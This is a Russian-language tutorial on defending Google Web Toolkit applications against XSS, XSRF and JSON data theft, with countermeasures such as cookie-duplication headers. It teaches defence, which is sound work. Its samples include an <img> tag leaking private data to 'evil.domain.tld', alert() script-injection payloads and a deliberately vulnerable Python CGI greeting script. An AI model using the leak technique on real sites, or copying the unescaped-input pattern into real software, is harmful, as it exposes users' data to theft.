SPRING-SOURCE.RU

Защита GWT приложений

Это горькая правда, что JavaScript приложения очень уязвимы перед несколькими типами нападений, если конечно пользователь заранее не побеспокоился о защите. Так как Google Web Toolkit (GWT) работает с JavaScript кодом, мы GWT разработчики не менее уязвимы перед JavaScript атаками чем кто-либо другом. Однако, цель GWT - позволить разработчикам сосредоточиться на своих потребностях. Чтобы быть уверенными в том, что GWT разработчики имеют четкое понимание рисков, мы собрали все вместе в этой статье.

Эта статья является пособием по JavaScript атакам, предназначенным для GWT разработчиков. Первая часть описывает главные классы атак на JavaScript в общих чертах, которые применимы к любым AJAX фреймворкам. После краткой информации об атаках мы рассмотрим как защитить ваше GWT приложение против их.

Часть 1. JavaScript уязвимости

Эти проблемы как и многие другие в интернете, берут начало от вредоносных программистов. Люди, которые проводят огромный процент своей жизни над размышлениями о том, как украсть ваши данные. Продавцы web браузеров вносят свой вклад в борьбу с этими людьми и один из путей осуществления этого Same-Origin Policy.

Same-Origin Policy (SOP) говорит, что код, запущенный на странице, который был загружен с Сайта А, не может иметь доступа к данным или к сетевым ресурсам, пренадлежащим любому другому сайту или даже любой другой странице (кроме других страниц, которые также загружены с Сайта А). Целью является предотвращение инъекции вредного кода хакерами в Сайт А, собирающего ваши личные данные и отправляющего Сайту В. Это, конечно, известные ограничения, защищающие ваш AJAX код от XMLHTTPRequest вызовов к URL, который не является тем же сайтом, с текущей страницей.

Утечка данных

В вышенаписанном тексте указано: "не позволять JavaScript отправлять данные на другой сервер." На самом деле это не совсем правда. В действительности есть возможность отправлять данные на другой сервер, хотя было бы более правильным сказать "утекают".

JavaScript может добавлять новые ресурсы -- такие как <img> теги -- на текущую страницу. Возможно вы знаете, что можно вызвать изображение находящееся на foo.com для встраивания на bar.com. Действительно, некоторые люди расстраиваются, если это происходит с их изображениями, так как здесь используется чужая пропускная способность, для передачи изображения. Но это особенность HTML, а если HTML может делать это, то и JavaScript тоже может.

Как правило, вы рассматриваете эту операцию, как только для чтения: браузер запрашивает изображение и сервер отправляет данные. Браузер больше ничего не загружает, и так данные не могут быть потеряны, правильно? Почти, но не совсем. Браузер все таки что-то загружает: а именно, URL изображения. Изображения используют стандартный URL, и любой URL может иметь зашифрованные параметры запроса. Вариантом использования может быть изображение-счетчик, где CGI на сервере выбирает подходящую картинку основанную на параметрах запроса и отправляет данные пользователю в ответе. Это разумный (хотя гипотетический) URL, который может вернуть изображение показывающим номер '42': http://site.domain.tld/pagehits?count=42.

В статическом HTML мире, это вполне разумно. К конце концов, сервер не собирается отправлять клиента на web сайт, который будет забирать данные сервера или пользовательские данные. Так как эта техника является законной в HTML, это также законно и в JavaScript. Если какой-нибудь злой JavaScript введен в хорошую web страницу, он может построить <img> теги и добавить их на страницу.

Не сложно вообразить сценарий, где злой код крадет полезную информацию и зашифровывает ее в <img>; например, тег может выглядеть так: <img src="http://evil.domain.tld/pagehits?private_user_data=12345"/>. Если private_user_data это пароль, номер кредитной карты или что-нибудь подобное, это будет серъезной проблемой. Если злой код установит размер 1 пиксель на 1 пиксель, то очень маловероятно, что пользователь что-нибудь заметит.

Cross-Site Scripting

Тип уязвимости только, что описываемый называется "Cross-Site Scripting" (аббревиатура "XSS"), так как он выполняет код браузера, который передает информацию между сайтами. Эта атака не ограничивается <img> тегом. Здесь представлены другие варианты атак:

Очевидно, если злой код попадает на вашу страницу, то он может сделать неприятные вещи. Кстати, не воспринимайте список перечисленный выше, как полный список; существует на много больше вариантов уловок и все описывать мы, конечно же, не будем.

Список путей которыми злой код может попасть на хорошую страницу можно продолжать бесконечно. Обычно все они сводяться к необдуманному коду введенного пользователем возвращается обратно пользователю. Например, этот Python CGI код является уязвимым:

      
import cgi
f = cgi.FieldStorage()
name = f.getvalue('name') or 'there'

s = '<html><body><div>Hello, ' + name + '!</div></body></html>'

print 'Content-Type: text/html'
print 'Content-Length: %s' % (len(s),)
print
print s
		

Код предполагает вывод простого приветствия, основанного на вводе формы. К примеру, как это может быть выведено "Hello, Dan!": http://site.domain.tld/path?name=Dan. Однако, так как CGI не проверяет значение переменной "name", атакующий может вставить туда код скрипта.

Вот некоторый JavaScript, который выводит окно тревоги:

<script>alert('Hi');</script>      
		

Этот скрипт может быть зашифрован в URL такой как этот:

 http://site.domain.tld/path?name=Dan%3Cscript%20%3Ealert%28%22Hi%22%29%3B%3C/script%3E
		

Этот URL, когда будет снова запущен CGI, вставит <script> тег прямо в <div> блок в сгеерированный HTML. Когда пользователь загрузит CGI страницу, то он, все также, скажет "Hello, Dan!", но также выведет окно тревоги JavaScript.

Не трудно догадаться, что атакующий отправит что-нибудь похуже чем просто окно тревоги JavaScript в этот URL.

Решение обычно очень простое: вы должны убедиться, что вы избегаете или удаляете из содержания не нужное всякий раз, когда вы пишите пользовательский ввод на новой странице.

Forging Requests - поддельные запросы

Это похоже на XSS, но наоборот. В этом сценарии атакующий заманивает пользователя на свой сайт и использует его браузер для атаки вашего сервера. Ключ это атаки - небезопасное управление сессиями на стороне сервера.

Наверное, самый распространенный способ, которым web сайты управляют сессиями - это через cookies браузера. Обычно сервер будет представлять страницу для входа пользователю, кто вводит имя и пароль и отправляет страницу. Сервер проверяет полномочия и если они правильные, устанавливает cookie сессии. Каждый новый запрос браузера приходит с cookie. Так как сервер знает, что ни один из других web сайтов не может устанавливать этот куки (это справедливо в связи с политикой браузера Same-Origin Policy), сервер знает пользователя, который ранее прошел аутентификацию.

Проблема с этим подходом это, что cookies сессии не теряют силы, когда пользователь покадает сайт. (Они теряют силу либо когда браузер закрывается либо после некоторого периода времени). Так как браузер будет включать cookies с любым запросом к вашему серверу вне зависимости от содержания, только если пользователь находится в системе (log-in), то это возможно и для других сайтов запускать действия на вашем сервере. Это часто называют "Cross-Site Request Forging" или XSRF (или иногда CSRF).

Сайты, которые более уязвимы для XSRF атак, возможно, по иронии судьбы, являются те, которые уже приняли сервис-ориентированную модель. Традиционные без AJAX web приложения HTML-тяжелые и требующие многостраничного интерфейса для операций по своей природе. Same-Origin Policy предотвращает XSRF атакующих от чтения результатов своего запроса, делая невозможным для XSRF атакующего процесс перехода по многим страницам. Простая техника требует от пользователя нажатия кнопки подтверждения -- при правильном применении -- достаточно чтобы сорвать XSRF атаку.

К сожалению, ликвидация этого типа дополнительных шагов является одной из ключевых задач AJAX модели программирования. AJAX позволяет логике пользовательского интерфейса запускаться в браузере, что в свою очередь делает связь с сервером узко- определенной операцией. Например, вы можете разработать корпоративное HR приложение, где сервер показывает URL, который позволяет просматривать список адресов электронной почты сотрудников кому-то еще. Такие сервисы operation- oriented, означают, что одного HTTP запроса достаточно чтобы что-то сделать.

Так как один запрос вызывает операцию, XSRF атакующему больше не нужно видеть ответ от XMLHTTPRequest. AJAX сайт, который раскрывает "Данные о почтовых адресах сотрудников", как сервис, может быть получен через XSRF атаку, тчательно созданным URL, который отправит данные сотрудников атакующему. Как вы можете увидеть, AJAX приложения более уязвимы для XSRF атак чем традиционные web сайты, потому что страница, которую нужно атаковать не является многостраничной.

JSON и XSRF

До сих пор мы видели два нападения XSS и XSRF. К сожалению, есть еще. В наши дни JSON (JavaScript Object Notation) - является "жарким" новшеством -- и действительно очень жарким. Это умная и элегантная техника. Она также хорошо работает, так как использует low-level (низкий уровень) (значит: быстро) поддержку браузера для обработки parsing. Также является просым в программировании, так как результат - объект JavaScript meaning you get object serialization almost for free. К сожалению, с этой мощной техникой приходят в ваш код и существенные риски; если вы используете JSON с вашим GWT приложением, то важно понимать эти риски.

На данный момент вы должны понимать JSON; посетите официальный сайт, если вы еще не с ним не знакомы. Двоюродным братом JSON является "JSON with Padding" или JSONP, вы также должны быть с ним знакомы.

Лучший путь раскрыть опасности JSON - это описать как он используется. Существует три формы, и каждая уязвима в той или иной степени:

Последние два примеры полезны, когда возвращается от сервера как ответ на <script> тег. Объясним. Ранее мы рассказывали, как JavaScript позволяет динамично добавлять <img> теги указывающие на изображения на удаленных сайтах. То же самое относится к <img> тегам: JavaScript код может динамически вставлять <script> теги, что может вызвать дополнительную загрузку JavaScript кода.

Это делает технику динамической вставки <script> тега очень полезной, особенно для mashups. Mashups часто необходимо получать данные с разных сайтов, но Same-Origin Policy запрещает делать это прямо с XMLHTTPRequest вызовом. Однако, запущенный JavaScript код является доверенным загружать новый JavaScript код с различных сайтов -- и кто сказал, что код не может быть фактическими данными?

Эта концепция может показаться подозрительной на первый взгляд и кажется, что она нарушает Same-Origin ограничения, но в действительности это не так. Код либо доверенный либо нет. Загрузка дополнительного кода более опасна чем загрузка данных, так как ваш текущий код уже доверенный загружать дополнительный код, почему бы ему не быть доверенным для загрузки данных? Между тем, <script> теги могут быть вставлены только доверенным кодом и весь смысл доверия заключается.. вы доверяете ему, чтобы знать что он делает. Это правда, что XSS может злоупотреблять доверием, но, в конечном счете, XSS появляться только от глючного кода на сервере. Same-Origin основывается на доверии к серверу.

Что это означает? Как писать сервис на стороне сервера, который предоставляет данные через эти методы уязвимости? И так, другие люди некоторые люди раскрыли эту тему очень хорошо и здесь мы этого касаться не будем.

JSON is not as safe as people think it is
Safe JSON

Идем дальше.

Как GWT разработчики могут дать отпор?

Но это статья для GWT разработчиков, правильно? И так, как же GWT разработчики могут быть подверены этим вещам? Ответ в том, что мы не менее подвержены чем кто-нибудь другой, и поэтому быть осторожными. Нижние разделы в деталях описывают, как угрозы воздействуют на GWT.

XSS и GWT

XSS можно избежать, если вы строго следуете практикам программирования JavaScript. Так как GWT помагает следовать этим практикам, то он поможет вам и с XSS. Однако, GWT разработчики не застрахованы на все сто процентов.

В настоящее время мы уверены, что GWT защищает от XSS в следующих направлениях:

Все, что перечислено - это не сто процентная безопасность!

JavaScript не относящийся к GWT

Многие GWT разработчики используют GWT наряду с другими JavaScript решениями. Например, ваше приложение может использовать mashup с кодом из разных сайтов, или вы можете использовать JavaScript библиотеку третьих лиц вместе с GWT. В этом случа, ваше приложение может стать уязвимым.

Если вы смешиваете другой JavaScript код с GWT в вашем приложении, важно чтобы вы просматривали каждый кусочек, чтобы быть уверенными, что приложение защищено.

Код устанавливающий innerHTML

Это распространенная техника, чтобы заполнять тела таблиц, DIV-ов, фреймов, и других подобных UI элементов некоторым статичным HTML контентом. Это особенно легко достигается, через определение innerHTML атрибута JavaScript объекта. Однако, это рискованно, так как позволяет злому содержанию напрямую загружаться на вашу страницу.

Вот пример. Рассмотрим эту обычную JavaScript страницу.

<html>
<head>
  <script language="JavaScript">
    function fillMyDiv(newContent) {
      document.getElementById('mydiv').innerHTML = newContent;
    }
  </script>
</head>
<body>
  <p>Some text before mydiv.</p>
  <div id="mydiv"></div>
  <p>Some text after mydiv.</p>
</body>
</html>
		

Страница содержит <div> с именем 'mydiv' и JavaScript функцию, которая просто устанавливает innerHTML на этот div. Идея заключается в том, чтобы вызывать функцию из другого кода, на странице, где хочется изменить содержание. Однако, предположим, что атакующий умудряется сделать следующее:

<div onmousemove="alert('Hi!');">Some text</div>
		

Когда бы пользователь ни провел мышкой над 'mydiv', ему будет выдаваться тревожное сообщение. Здесь от пользователя не требуется никакого ввода. Вот почему установка innerHTML может быть опасной; вы должны быть уверенными в том, что используете доверенные строки текста.

Важно также понимать, что строка не обязательно является доверенной лишь потому, что приходит с вашего сервера! Предположим ваше приложение содержит доклад, с режимами интерфейса 'edit' и 'view'. В целях производительности вы можете генерировать, на вашем сервере, пользовательский вывод доклада, например, в старый HTML. Ваш GWT приложение будет выводить это, используя RequestCallback для извлечения HTML а назначения результата ячейке таблицы innerHTML свойства. Вы можете считать, что эта строка доверенная, так как ее сгенерировал ваш сервер, но это может оказаться неверным предположением. Если пользователь имеет возможность вводить все, что захочет в 'edit' режиме, то атакующий может использовать любую из атак, чтобы получить пользователя для записи небезопасного HTML кода. Когда пользователь снова смотрит запись, то эта запись будет вредоносной.

Если вы тчательно анализируете клиентскую и серверную части, то вы можете быть спокойными за безопасность своего приложения. Чтобы быть уверенным в том, что вы по настоящему в безопасности, считайте строки innerHTML и eval как небезопасными.

Разбор JSON строк

Это очень похоже на сценарий с установкой innerHTML, хотя с возможно более худшими последствиями. Предположим, на том же примере, который мы только что разибрали, но вместо возвращения HTML содержания, сервер отправляет данные отчета в браузер как JSON строку. Вы, как правило, передаете эту строку в GWT JSONParser класс. Для повышения производительности, строка вызывает eval(). Важно быть уверенными что код, который вы передаете не содержит злого кода.

Атакующий опять может использовать несколько методов атак на пользователя, для сохранения тщательно-построенного JavaScript кода в одну из ваших записей. Этот злой код может вступать в силу сразу же после передачи JSON объекта. Это столь же серьезно как и innerHTML, проще, так как атакующему не нужно проделывать трюки с HTML в злом коде -- он просто использует обычный JavaScript код.

Как и с innerHTML, не стоит полагать что JSON строка безопасна лишь потому, что она пришла с сервера. По крайне мере, важно думать прежде чем использовать какой-либо JSON сервис или что-нибудь от третьих лиц.

Ваш собственный JSNI код

GWT имеет маленький контроль над JSNI кодом, который вы пишите. Если вы пишите JSNI код, то нужно быть особенно осторожным. Вызывая eval функцию или устанавливая innerHTML вы должны думать над написанием кода.

Например, если вы пишите свой Widget, который включает ссылки, вы можете включить setURL(String) метод. Если вы сделали это, то должны добавить тест, проверяющий не содержит ли новый URL "javascript:". Без этого теста, ваш setURL метод создаст новое направление для XSS кода. Это один из возможных вариантов; всегда тщательно продумывайте, непредвиденные эффекты от использования JSNI.

Защита вашего приложения

Как GWT пользователь, вы можете помочь себе в уменьшении XSS уязвимостей в вашем коде, если будете следовать этим правилам:

XSRF и GWT

Вы можете сделать свое приложение менее подверженным XSRF атакам. Таже техника, которую вы можете использовать для защиты любого AJAX кода, будет также работать и в GWT приложении.

Общие контрмеры для XSRF атак включают дублирование cookie сессии. Ранее, мы обсуждали как модель управления сессиями основанная на cookie оставляет ваше приложение открытым для XSRF атак. Простой путь предотвратить атаки, нужно использовать JavaScript для копирования значения cookie, затем нужно это значение отправить как данные формы вместе с вашим XMLHTTPRequest вызовом. Так как Same-Origin Policy бразеров будет предотвращать сайты третьих лиц от доступа к cookie с вашего сайта, только ваш сайт может извлекать ваш cookie. Отправляя значение cookie наряду с запросом, ваш сервер может сравнивать действительное значение cookie с включенной копией; если они не совпадают, то ваш сервер будет знать, что это XSRF атака.

Защита вашего приложения

Если вы используете RequestBuilder и RequestCallback классы в GWT, то вы можете реализовать XSRF защиту, устанавливая пользовательский заголовок, содержащий значение cookie. Вот пример:

RequestBuilder rb = new RequestBuilder(RequestBuilder.POST, url);
rb.setHeader("X-XSRF-Cookie", Cookies.getCookie("myCookieKey"));
rb.sendRequest(null, myCallback);
		

Если вы используете GWT RPC механизм, то решение, к сожалению, будет не таким простым. Тем не менее, есть несколько способов решения проблемы. Например, вы можете добавить аргумент в каждый метод в вашем RemoteService интерфейсе, который содержит строку. Вот пример интерфейса:

public interface MyInterface extends RemoteService {
  public boolean doSomething();
  public void doSomethingElse(String arg);
}
		

Его можно использовать так:

public interface MyInterface extends RemoteService {
  public boolean doSomething(String cookieValue);
  public void doSomethingElse(String cookieValue, String arg);
}
		

Когда вы вызываете метод, вы передаете текущее cookie значение, которое вы получаете, используя Cookies.getCookie(String).

Если вы не хотите использовать интерефес RemoteService таким образом, можно пойти другим путем. Вы можете изменить IsSerializable data-transfer объект, чтобы иметь имя поля содержащего cookieValue (значение куки). Возможно вы просто будете получать cookie значение через ваш URL как GET параметр. Здесь важно получить значение cookie на сервере, не важно как.

Конечно же во всех случаях вы должны иметь серверный код для сравнения значения cookie.

JSON и GWT

Защита вашего Single-Site приложения

Если браузер начал выполнение кода, остановить его уже невозможно. Лучший способ защиты сервера от кражи данных JSON - избегать отправки JSON данных атакующему.

Тем не менее, некоторые люди советуют JSON разработчикам использовать дополнительные меры предосторожности, кроме дублирования cookie значения. В этой модели, ваш серверный код будет оборачивать, любой строковый ответ JSON, в JavaScript комментарии. Например, вместо возвращения "['foo', 'bar']" вы получите "/*['foo', 'bar']*/". Код клиента будет убирать символы комментария перед передачей строки в eval функцию.

Основной эффект этого действия - защита от кражи ваших JSON данных через <scrpit> тэг. Если вы используете JSON как формат данных предоставляемый вашим сервисом и не используется с другими серверами, тогда нет смысла использовать эту технику.

Mashup рассматривать не будем.